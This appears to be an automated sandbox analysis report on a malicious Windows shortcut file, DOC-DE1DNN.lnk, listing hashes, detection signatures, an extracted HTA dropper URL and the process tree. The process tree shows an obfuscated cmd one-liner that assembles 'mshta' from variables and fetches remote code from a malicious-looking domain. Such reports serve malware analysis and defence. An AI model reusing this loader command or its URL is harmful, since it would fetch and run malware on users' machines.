Analysis
- max time kernel
40s - max time network
43s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 17:07
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DE1DNN.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-DE1DNN.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
40 seconds
General
- Target DOC-DE1DNN.lnk
- Size 1KB
- Sample260803-vm41msteqd
- SHA256 5b92811f1732ddc25da8c2edc4351ef85b314031eb0202f86af01d2f6ad48b1a
- MD5 b031b3d233f8ec3d8c9a32072a2d04fa
- SHA1 3e4b91825940ae41469aca18c19b0c390f3fa703
- SHA512 dea861cd790dd661443036e0e588bbf2c0bc5f31fcd0cbd124a5f645ecf742efa9f1d6e250abe7442715b576826738b022b1088394aaaae63b945827743f7a75
- TLSH T1D93147503EED0624F3B78FB794BB572485BAB8668E20CA2E0141494D5032A19E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2812 cmd.exe 1864 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2812 wrote to memory of 1864 2812 cmd.exe 90 PID 1864 wrote to memory of 4116 1864 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DE1DNN.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set URt=msh&&set ymC=ta&&start "" !URt!!ymC! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4116
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